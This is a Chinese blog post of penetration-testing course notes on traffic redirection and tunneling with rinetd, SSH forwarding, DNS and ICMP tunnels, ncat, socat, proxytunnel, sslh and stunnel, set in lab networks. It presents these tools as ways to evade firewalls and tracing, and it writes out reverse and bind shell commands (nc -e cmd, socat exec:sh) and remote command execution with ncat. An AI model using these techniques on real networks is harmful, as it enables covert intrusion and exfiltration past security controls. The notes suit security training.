第十四章 流量操控与隧道

流量操控技术
▪ Traffic manipulation technique
▪ 渗透测试中经常遇到访问受限的网络环境
▪ 使用隐蔽的手段逃避安全检查措施和溯源追踪
▪ 证明看似严格的访问控制仍然存在弱点
▪ 在非受信任的网络中实现安全的数据传输
▪ 部分概念的实现过程略有烧脑

▪ 重定向(Redirection)
  – IP、Port
▪ 隧道(Tunneling)
  – 在不受信任的网络环境中实现安全的通信
  – 通常使用多种加密技术建立通信隧道
  – 点到点(IP2IP)、端到端(Port2Port)隧道
  – VPN:pptp、l2tp、IPSec、SSL vpn
▪ 封装(encapsulation)
  – 通常结合在隧道中使用,使用一种协议封装一种协议(RPC o http、VoIP)
  – 使用网关设备实现不同类型网络的互联互通

重定向
▪ Rinetd
  – 安装:apt-get install rinetd
  – 配置:etc/rinetd.conf
    ▪ bindadd bindport connectadd connectport
  – 运行:rinetd
▪ 应用场景

如图:内网用户只允许出站流量53号端口,这样就无法访问目标服务器10.1.1.1的80端口

▪ 安装monowall防火墙

– 重定向web流量,突破上网限制

  在家庭电脑上配置重定向之后,客户端访问20.1.1:53就可以借助家庭电脑去访问目标服务器10.1.1.1
– 远程桌面重定向
– NC重定向获得shell

  原理:客户端通过nc传送它的shell给家庭电脑20.1.1.1的53端口,通过在家庭电脑20.1.1.1上面配置重定向,让目标服务器通过NC接收客户端的shell,也可以成功的获得客户端的shell

  操作步骤:1)目标服务器执行 nc  -nvlp  3333侦听3333端口

       2)修改20.1.1.1的重定向配置文件,将客户端过来的访问流量转发到目标服务器的10.1.1.1的3333端口(配置完成后必须要重启rinetd服务)

       3)客户端连接20.1.1.1的53号端口 (nc  20.1.1.1 53  -e  cmd)

         4)   在目标服务器10.1.1.1上可以发现已经获取了客户端的shell了
– 不兼容FTP等二次连接的协议

SSH 隧道
▪ SSH支持双向通信隧道
  – 将其他 TCP 端口的通信通过 SSH 链接来转发
  – 用SSH作为传输层协议,对流量自动加解密
  – 突破防火墙访问规则的限制,可用于FQ
▪ SSH 本地端口转发
  – 使效果类似于rinetd
  – 将一本地端口与远程服务器建立隧道

▪ 建立双向安全隧道
  – 将其他 TCP 端口的通信通过 SSH链接来转发
  – 用SSH作为传输层协议,对流量自动加解密
  – 突破防火墙访问规则的限制,可用于FQ
▪ 本地端口转发
  – 本机侦听端口,访问转发到远程主机指定端口
▪ 远程端口转发
  – 远程侦听端口,访问转发到本机主机指定端口
▪ 动态隧道协议

 

 SSH 本地端口转发
▪ 将一本地端口与远程服务器建立隧道

SSH Server端配置:
▪ /etc/ssh/sshd_config
  – PermitRootLogin yes
  – Port 53  // ssh的默认端口是22,改为53是假设防火墙的规则设定的比较死,只允许出站的流量为53的情况下,ssh隧道建立的端口就为53
  – PasswordAuthentication yes
▪ service sshd restart

SSH  Client端配置:

情况1):需要访问SSH Server之外的一台WEB服务器

ssh  -L  7001:192.168.1.124:80  root@192.168.1.110  -p  53     // 在本机侦听7001端口,192.168.1.119为远端需要访问的服务器,及WEB服务器(如www.baidu.com,域名未验证),root@192.168.110  -p  53  为SSH  Server端的IP地址和SSH侦听端口。即为凡是经流SSH  Client的7001端口的流量都会重定向到192.168.1.110的53号端口(即SSH服务)

验证可以发现,我访问本地的127.0.0.1:7001,即被重定向到了192.168.1.124的WEB服务了

情况2):需要访问的就是SSH  Server本身的WEB服务

ssh  -CfN   -L  7002:192.168.1.110:80  root@192.168.1.110  -p  53  // 将需要访问的的WEB服务器写成和SSH Server的一样就可以了

ssh  -CfN   -L  7002:localhost:80  root@192.168.1.110  -p  53   // 没有错误,隧道一旦建立之后,可以理解为192.168.1.110的80端口也是属于本机的一部分,所以这里填写的localhost:80没有问题,实际上代表的是192.168.1.110的80端口,理解起来有点绕

情况3):访问远程桌面服务

ssh  -CfN   -L  7003:192.168.1.124:3389  root@192.168.1.110  -p  53  // 访问192.168.1.124的远程桌面服务

验证访问本地的7003端口,被重定向到了124的远程桌面了

情况4):通过SSH隧道结合nc传输SHELL(原理与上述类似)

▪ ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh   server> -p <ssh server port>
▪ ssh -fCNg -L <listen port>:localhost:<remote port> user@<ssh   server> -p <ssh port>
▪ -f     后台运行进程
▪ -N   不执行登录shell
▪ -g    复用访问时作为网关,支持多主机访问本地侦听端口
▪ 网关模式转发RDP、NC shell

▪ 端口转发基于建立起来的SSH隧道,隧道中断则端口转发中断
▪ 只能在建立隧道时创建转发,不能为已有隧道增加端口转发

SSH 远程端口转发
▪ 由于ACL等原因,SSH与应用建立连接方向相反
▪ 本地端口转发
  – SSH客户端+应用客户端位于FW一端
  – SSH服务端+应用服务端位于一端
▪ 远程端口转发
  – SSH客户端、应用客户端位于FW两端
  – SSH服务端、应用服务端位于FW两端

▪ ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p  <ssh server port>
▪ 之所以称为远程,是因为SSH侦听端口开在远程的SSH Server上
▪ 侦听端口永远开在应用客户端一方

▪ WEB、RDP、NC应用端口转发演示
▪ (A)<-> (C) 以及 (B)<->(D)之间通信未加密,可嗅探

SSH 动态端口转发
▪ 本地、远程端口转发都需要固定应用服务器IP、Port
  – 应用端口繁多,逐个转发效率低
  – 某些应用不固定端口
  – 某些网站不支持IP直接访问
  – 使用非受信网络上网时保护流量不被嗅探
▪ 本地侦听socks4/5代理端口
  – 由SSH server决定如何转发
  – 作为FQ代理使用
  – 配置客户端代理(浏览器)
  – 使用proxychains支持无代理客户端
客户端配置:ssh  -CfNg  -D  7001  root@192.168.1.110  -p 53

浏览器设置代理,使用sock方式

X 协议转发
▪ 远程登录Linux GUI运行图形化界面工具
  – VNC
  – X Windows
▪ 防火墙限制访问时
  – 基于SSH的X转发
  – ssh -X user@1.1.1.1 -p 53

DNS协议隧道(DNS劫持)

 DNS协议隧道——dns2tcp

▪ Dns2tcp
  – 利用合法DNS服务器实现DNS隧道
  – C/S(dns2tcpc / dns2tcpd)结构    客户端软件:dns2tcpc  服务端软件:dns2tcpd
  – 通过TXT记录加密传输数据(A记录长度有限)
  – 隧道建立后保持连接
  – 默认记录生存时间TTL值为 3 秒
▪ 安装
  – apt-get install dns2tcp
  – Kali 默认安装

▪ 服务端配置文件
  – /etc/dns2tcpd.conf
  – .dns2tcprcd  (在root用户主目录下创建这个文件,取代默认的dns2tcpd.conf,如果存在就用此文件,如果不存在就用默认的etc下的)
  – 资源可以是其他地址

▪ 启动
  – dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
  – F:前端运行
  – d:debug level 1-3
  – f:指定配置文件

▪ 演示环境-1
  – Win 2003:安装DNS服务;配置转发器;创建区域lab.com;指派二级域test.lab.com,NS记录指向Kali
  – 防火墙:只允许出站UDP 53端口流量
  – Bodhi Linux:
    ▪ 安装dns2tcp、wireshark、firefox
    ▪ dns2tcpc -c -k pass123 -d 1 -l 2222 -r ssh -z test.lab.com  (-k 设置服务端的密码     -d  只看主要信息  -l  本地监听端口    -r  远程连接服务  需要配置好服务端之后才能执行)

▪ 资源访问
  – 本地SSH资源
  – 远程http资源
  – http代理(squid)
    ▪ apt-get install squid3
  – https代理
  – 隧道嵌套
    ▪ 基于SSH资源将SSH动态端口转发隧道嵌套于DNS隧道中
    ▪ ssh -CfNg root@127.0.0.1 -p 2222 -D 7002  (连接本地的2222端口,就会跳转到dns2tcpd服务端定义的ssh连接的端口,在此dns协议隧道的基础上,内网的其他机器可以配置IE、Firefox 使用嵌套的Socks代理上网配置7001端口对外网进行访问)


    ▪ 抓包分析DNS隧道通信

▪ 演示环境-2
  – FW限制只允许内网DNS服务器访问外网指定DNS服务器UDP 53端口
  – 内网DNS服务器:安装DNS服务器,配置转发器到外网DNS服务器中

 DNS协议隧道——iodine

▪ 基于DNS查询的隧道工具
▪ 与同类工具相比的优点
  – 对下行数据不进行编码,因此性能优
  – 支持多平台:Linux、BSD、Mac OS、Windows
  – 最大16个并发连接
  – 强制密码支持
  – 支持同网段隧道IP(不同于服务器、客户端网段)
  – 主持多种DNS记录类型
  – 丰富的隧道质量检测措施

▪ 运行服务器端
  – iodined -f -c 10.0.0.1 test.lab.com
  – -f : 前端显示(可选)
  – -c : 不检查客户端IP地址
  – IP : 服务器端的隧道IP地址

▪ 运行客户端
  – iodine -f test.lab.com
  – curl --socks5-hostname 127.0.0.1:7001 http://www.sina.com
▪ 隧道网络接口
  – 不基于资源的通用隧道,如同本网段内两台相邻的主机
  – 服务器端和客户端分别生成隧道网络接口dns0
  – 隧道两端接口的IP地址应不同于客户端和服务器端网段
  – 基于此隧道可嵌套其他隧道技术
    ▪ ssh -CfNg -D 7001 root@10.0.0.1

▪ 安装TAP网卡驱动
  – https://openvpn.net/index.php/open-source/downloads.html
  – 只安装 TAP Virtual Ethernet Adapter 和所有依赖包
▪ Windows客户端
  – http://code.kryo.se/iodine/
  – iodine -f test.lab.com
▪ 建立SSH隧道

NCAT
▪ 被称为众多NC衍生版软件中最优的选择
▪ 代理功能
  – ncat -l 8080 --proxy-type http --proxy-auth user:pass   // 利用ncat做代理
▪ Broker中介功能
  – AB不通但AC、BC互通,这时候我们就可以将C开启broker功能,利用它进行转发
  – 服务器:ncat -l 333 --broker
  – 客户端之间发送任何信息都会被hub到其他客户端
  – 批量执行命令:ncat 192.168.1.119  333  --sh-exec "echo `pwd`“
  – 批量传文件:ncat --send-only 192.168.1.119  333 < inputfile

SOCAT    
▪ 被称为 nc++(增强增强版的nc)
  – 双向数据流通道工具
▪ 连接端口
  – socat - tcp:1.1.1.1:80    // -代表标准输入输出
▪ 侦听端口
  – socat - tcp4-listen:22 / socat - tcp-l:333
▪ 接收文件
  – socat tcp4-listen:333 open:2.txt,creat,append
▪ 发送文件
  – cat 1.txt | socat - tcp4:1.1.1.1:333

▪ 远程shell——服务器端
  – socat tcp-l:23 exec:sh,pty,stderr
▪ 端口转发
  – socat tcp4-listen:22,fork tcp4:1.1.1.1:22
▪ 远程执行命令
  – 服务器:socat - udp-l:2001
  – 客户端:echo “`id`” | socat - udp4-datagram:1.1.1.1:2001
▪ UDP 全端口任意内容发包
  – for PORT in {1..65535}; do echo “aaaaa" | socat - UDP4-DATAGRAM:1.1.1.1:$PORT; sleep .1; done

▪ 二进制编辑器
  – echo -e "\0\14\0\0\c" | socat -u - file:/usr/bin/squid.exe,seek,seek=0x00074420
▪ 简单的WEB服务器
  – socat -T 1 -d -d TCP-L:10081,reuseaddr,fork,crlf SYSTEM:"echo -e \"\\\"HTTP/1.0 200 OK\\\nDocumentType: text/plain\\\n\\\ndate: \$\(date\)\\\nserver:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT\\\nclient: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n\\\"\"; cat; echo -e \"\\\"\\\n\\\"\""

验证:

ptunnle
▪ Ping tunnel ICMP隧道工具
  – 通过ICMP echo(ping requests)和reply(ping reply) 实现隧道
  – 适用于防火墙只允许ping出站流量的环境
  – 支持多并发连接、性能优
  – 支持身份验证
  – 需要root权限
  – 文件抓包
    ▪ Windows:winpcap
    ▪ Linux:libpcap
  – 工作过程
    ▪ Proxy 、Client 、Destination

▪ 服务器
  – ptunnel -x 1234
▪ 客户端
  – sudo ptunnel -p 192.168.1.110   -lp 2222  -da  123.122.114.120   -dp 22 -x 1234  // 192.168.1.110为ptunnel代理的地址,123.122.114.120为需要访问的目标的地址  2222为本地监听的端口
▪ 嵌套SSH隧道
  – ssh -CNfg -D 7000 root@127.0.0.1 -p 2222
▪ ptunnel 直到目前的最新版仍存在拒绝服务漏洞
  – 0.72

proxytunnle

▪ 通过标准的HTTP / HTTPS代理创建隧道的工具
▪ 通过HTTP CONNECT 方法封装信息
▪ 适用于内网使用代理并且防火墙只允许代理服务器上网的场景
▪ 无法创建DNS隧道和ICMP隧道

▪ 实验一:将外网资源映射为内网指定端口
   – 内网代理服务器安装squid3代理
  ▪ vi /etc/squid3/squid.conf
  ▪ /^http_port
  ▪ /^http_access
  ▪ /^acl
– 内网PC创建隧道:proxytunnle -a 80 -p 192.168.1.10:3128 -d 192.168.1.1:80  // -a 本地内网PC侦听的端口   -p  代理服务器的IP地址和端口   -d   目标服务器的IP地址和端口

▪ 实验二:外网资源非防火墙允许端口
  – 修改目标资源侦听端口可能无法躲避防火墙深层检测
  – 外网安装squid3代理服务器并侦听80端口
  – 创建隧道:proxytunnle -a 2222   -p 192.168.1.10:3128   -r 192.168.1.1:80   -d   192.168.1.110:22  // -r 为外网代理的IP和侦听的端口   (在内网PC上执行此命令)

验证结果:连接本地的2222端口,最终是连接到了192.168.1.110的22端口的SSH服务

▪ 实验三:ssh客户端配置自动创建代理链隧道
  – vi ~/.ssh/config
    Host 192.168.1.1
    Hostname 192.168.1.1
    ProtocolKeepAlives 30
    ProxyCommand /usr/bin/proxytunnel -p 1.1.1.1:3128 -r 192.168.1.1:80 -d %h:%p

sslh
▪ 端口分配器
  – 根据客户端第一个包检测协议类型
  – 根据协议检测结果将流量转发给不同目标
  – 支持HTTP, HTTPS, SSH, OpenVPN, tinc, XMPP和其他可基于正则表达式判断的人和协议类型
  – 适用于防火墙允许443端口入站访问流量的环境

▪ 配置文件
  – /etc/default/sslh

配合防火墙的端口映射,开放外网入站的443端口,以下说明是建立在假设防火墙外网IP地址为192.168.1.11的基础上

DAEMON_OPTS代表当你访问防火墙公网IP地址的443端口的时候(在浏览器输入http://192.168.1.11:443)会映射到1.1.1.10的443端口上,当使用https协议的时候,(在浏览器输入https://192.168.1.11)会映射到1.1.1.11的443端口上,当你访问http协议的时候(在浏览器输入http://192.168.1.11)会映射到sslh的80端口上,当你使用ssh协议连接防火墙公网IP地址的443端口的时候,会映射到sslh的22端口上,如下图所示:

 ▪ 安装HTTPS站点
  – 安装IIS服务、证书服务
  – 部署HTTPS站点
▪ 启动本地HTTP服务
▪ 防火墙端口映射TCP/443

stunnel4

▪ 无需修改源代码的情况下将TCP流量封装于SSL通道内

▪ 适用于本身不支持加密传输的应用
▪ 支持openssl安全特性
▪ 跨平台
▪ 性能优

▪ 安装内网Stunnel4服务器
▪ 服务器端配置
  – 生成证书:openssl req -new –days 365 -nodes -x509 -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem
  – 创建配置文件:/etc/stunnel/stunnel.conf
    ▪ cert = /etc/stunnel/stunnel.pem
    ▪ setuid = stunnel4
    ▪ setgid = stunnel4
    ▪ pid = /var/run/stunnel4/stunnel4.pid
    ▪ [mysqls]
    ▪ accept = 0.0.0.0:443    // 本地侦听的端口
    ▪ connect = 1.1.1.11:3306  // 应用服务器的IP地址和端口

▪ Stunnel4自动启动
  – /etc/default/stunnel4
    ▪ ENABLED=1
▪ 启动stunnel4服务端
  – service stunnel4 start
▪ 防火墙规则
  – 端口映射TCP/443端口到stunnel4服务器TCP/443
  – 设置防火墙规则
▪ Stunnel4客户端

▪ 安装Stunnel4客户端
  – Kali自带
▪ 客户端配置
  – 创建配置文件:/etc/stunnel/stunnel.conf
    ▪ client = yes
    ▪ [mysqls]
    ▪ accept = 3306  // 客户端本地监听的端口
    ▪ connect = 192.168.1.11:443  // 防火墙外网的IP地址和端口
▪ 客户端自动启动
  – /etc/default/stunnel4
    ▪ ENABLED=1

▪ 启动客户端服务
  – service stunnel4 stop / start
▪ Mysql客户端连接
  – mysql -u root -h 127.0.0.1
▪ 抓包对比隧道前后差异

 

posted @ 2019-09-09 19:28  Paco_Pig  阅读(648)  评论(0编辑  收藏  举报